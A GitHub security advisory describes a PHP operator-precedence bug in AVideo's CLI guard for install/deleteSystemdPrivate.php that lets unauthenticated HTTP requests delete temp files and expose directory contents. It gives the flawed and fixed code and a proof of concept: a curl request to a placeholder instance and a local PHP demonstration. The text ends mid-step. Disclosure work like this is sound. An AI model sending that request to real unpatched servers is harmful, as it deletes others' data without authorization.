GitHub Security Advisory: GHSA-wwpw-hrx8-79r5
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-284: Improper Access Control
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo: Unauthenticated File Deletion via PHP Operator Precedence Bug in CLI Guard

Details:
## Summary

The AVideo installation script `install/deleteSystemdPrivate.php` contains a PHP operator precedence bug in its CLI-only access guard. The script is intended to run exclusively from the command line, but the guard condition `!php_sapi_name() === 'cli'` never evaluates to true due to how PHP resolves operator precedence. The `!` (logical NOT) operator binds more tightly than `===` (strict comparison), causing the expression to always evaluate to `false`, which means the `die()` statement never executes. As a result, the script is accessible via HTTP without authentication and will delete files from the server's temp directory while also disclosing the temp directory contents in its response.

## Details

The faulty guard is at lines 2-4 of the script:

```php
// install/deleteSystemdPrivate.php:2-4
if (!php_sapi_name() === 'cli') {
    die('Command Line only');
}
```

Due to PHP operator precedence, this expression is parsed as:

```php
if ((!php_sapi_name()) === 'cli') {
```

Step-by-step evaluation when accessed via HTTP (Apache/nginx with mod_php or php-fpm):

1. `php_sapi_name()` returns `"apache2handler"` (or `"fpm-fcgi"`, etc.) - a non-empty string
2. `!php_sapi_name()` applies logical NOT to a truthy string, yielding `false`
3. `false === 'cli'` is a strict comparison between a boolean and a string, which is always `false`
4. The `if` body (`die()`) is never entered

The correct code should be:

```php
if (php_sapi_name() !== 'cli') {
    die('Command Line only');
}
```

After the bypassed guard, the script enumerates and deletes aged files from the system temp directory:

```php
$glob = glob(sys_get_temp_dir() . "/*");
// ...
foreach ($glob as $file) {
    if (filemtime($file) < $one_day_ago) {
        unlink($file);  // Deletes the file
    }
}
```

The script also outputs the total number of items found and details about processed files, leaking information about the temp directory contents.

Confirmed on a live instance: an unauthenticated HTTP GET request returned HTTP 200 with the response body including "Found total of 91 items", confirming the guard bypass and information disclosure.

## Proof of Concept

**Step 1:** Verify the endpoint is accessible without authentication:

```bash
curl -v "https://your-avideo-instance.com/install/deleteSystemdPrivate.php"
```

Expected response (HTTP 200):

```
Found total of 91 items
Processing /tmp/phpXXXXXX ...
Deleted: /tmp/old_session_file ...
```

If the guard were working correctly, the response would be:

```
Command Line only
```

**Step 2:** Demonstrate the PHP operator precedence bug locally:

```php
<?php
// Simulates the bug
$sapi = 'apache2handler'; // non-CLI SAPI

// Buggy check (as written in deleteSystemdPrivate.php)
var_dump(!$sapi === 'cli');
// Output: bool(false) - guard never triggers

// Correct check
var_dump($sapi !== 'cli');
// Output: bool(true) - guard would trigger correctly
?>
```

**Step 3:** Monitor the effect by checking before and after:

```bash
# Ch